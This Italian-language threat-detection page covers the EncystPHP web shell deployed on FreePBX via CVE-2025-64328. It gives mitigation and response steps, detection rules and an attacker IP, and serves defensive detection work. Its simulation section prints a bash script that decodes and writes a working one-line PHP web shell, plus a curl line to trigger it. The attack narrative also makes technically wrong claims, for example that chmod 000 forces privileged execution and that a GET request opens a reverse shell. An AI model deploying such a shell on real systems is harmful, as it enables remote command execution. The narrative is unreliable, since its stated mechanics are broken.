EncystPHP: Web Shell FreePBX Armato per Compromissione Amministrativa Persistente
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
FortiGuard Labs segnala una web shell PHP soprannominata EncystPHP distribuita su istanze FreePBX esposte sfruttando CVE-2025-64328. L’impianto consente l’esecuzione di comandi remoti, fornisce utenti privilegiati e imposta una persistenza stratificata tramite cron job e dropper successivi. L’attività è collegata al gruppo INJ3CTOR3 e sembra mirata agli ambienti di telecomunicazione. Gli indicatori pubblicati includono IP malevoli, domini, URL e più percorsi di file ostili.
Indagine
Gli investigatori hanno rintracciato l’accesso iniziale a un difetto di iniezione di comandi post-autenticazione nel FreePBX Endpoint Manager. Dopo uno sfruttamento riuscito, l’operatore preleva un dropper da 45.234.176.202, allenta le autorizzazioni sui componenti chiave PHP, estrae le credenziali del database, crea un account a livello di root e aggiunge una chiave SSH controllata dall’attaccante. La persistenza viene rafforzata con voci cron che ripetutamente scaricano ulteriori dropper e aggiornano gli artefatti. EncystPHP imita anche i file legittimi di FreePBX e manipola i timestamp per ridurre la visibilità durante la triage routine.
Mitigazione
Aggiornare il FreePBX Endpoint Manager per risolvere CVE-2025-64328 (e qualsiasi correzione correlata) il prima possibile. Cacciare file web shell non autorizzati, pianificazioni cron sospette e nuovi utenti locali privilegiati creati di recente. Bloccare l’uscita HTTP verso infrastrutture malevoli conosciute e applicare permessi rigorosi e con il minore privilegio su directory esposte al web e asset PHP.
Risposta
Alla rilevazione, isolare il server PBX colpito, rimuovere gli artefatti EncystPHP, eliminare i cron job non autorizzati e reimpostare account locali e chiavi SSH. Rivedere i log e i backup delle configurazioni per definire l’ambito delle modifiche, quindi applicare gli aggiornamenti di sicurezza correnti e rafforzare l’interfaccia web. Validare che non rimangano droppers secondari o meccanismi di persistenza prima di ripristinare le normali operazioni di telefonia.
Flusso di Attacco
Rilevamenti
Possibile Nuovo Account per la Persistenza [Linux] (via cmdline)
Visualizza
File Cron Creato (via file_event)
Visualizza
Download in Cartelle Sospette (via cmdline)
Visualizza
Possibile Tentativo di Scoperta di SSH Known Hosts [MacOS] (via cmdline)
Visualizza
Possibile Manipolazione di Stringhe Codificate in Base64 (via cmdline)
Visualizza
IOC (IP di Destinazione) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine
Visualizza
IOC (HashSha256) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine
Visualizza
IOC (IP di Sorgente) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine
Visualizza
Rileva Voci Crontab per il Download Persistente di k.php e c Dropper [Creazione di Processo Linux]
Visualizza
Distribuzione e Persistenza della Web Shell EncystPHP tramite CVE-2025-64328 [Creazione di Processo Linux]
Visualizza
Rilevamento dell’Attività della Web Shell EncystPHP in FreePBX [Evento File Linux]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.
Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.
-
Narrativa e Comandi dell’Attacco:
- Carica la web shell EncystPHP – L’attaccante crea un payload PHP codificato in Base64 e lo consegna tramite un HTTP POST all’interfaccia web di FreePBX, facendo sì che il file
ajax.phpsia scritto in/var/www/html/admin/views/ajax.php. - Imposta permessi restrittivi – Subito dopo la distribuzione, l’attaccante esegue
chmod 000 ajax.phpper nascondere la shell agli utenti normali e forzare l’esecuzione sotto l’account privilegiato del server web (T1222.002). - Elimina configurazione critica – Per compromettere il rilevamento e forzare il sistema a ricaricarsi con la shell malevola, l’attaccante rimuove
/etc/freepbx.conf(T1070.004, T1562.001). - Attiva la shell – Una semplice richiesta HTTP GET al
ajax.phpappena creato esegue il payload, stabilendo una shell inversa (T1105, T1059.004).
- Carica la web shell EncystPHP – L’attaccante crea un payload PHP codificato in Base64 e lo consegna tramite un HTTP POST all’interfaccia web di FreePBX, facendo sì che il file
-
Script di Test di Regressione: Lo script riproduce i passaggi 1-3 in una directory di test controllata (
/tmp/freepbx_test) per evitare di influenzare un sistema di produzione.# encystphp_simulation.sh set -euo pipefail # ----- Configurazione delle directory di test (rispecchiante il layout di FreePBX) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Crea file di configurazione dummy (verrà cancellato) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Payload EncystPHP codificato in Base64 (molto piccolo stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Passaggio 1: Distribuzione della web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell distribuita su ${WEB_ROOT}/ajax.php" # ----- Passaggio 2: Permessi restrittivi (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permessi impostati a 000" # ----- Passaggio 3: Elimina file di configurazione critico ----- sudo rm -f "${CONFIG_FILE}" echo "${CONFIG_FILE} eliminato" # ----- Facoltativo: attiva la shell (simulato) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulazione completata. Controllare SIEM per avvisi." -
Comandi di Pulizia:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Ambiente di test pulito."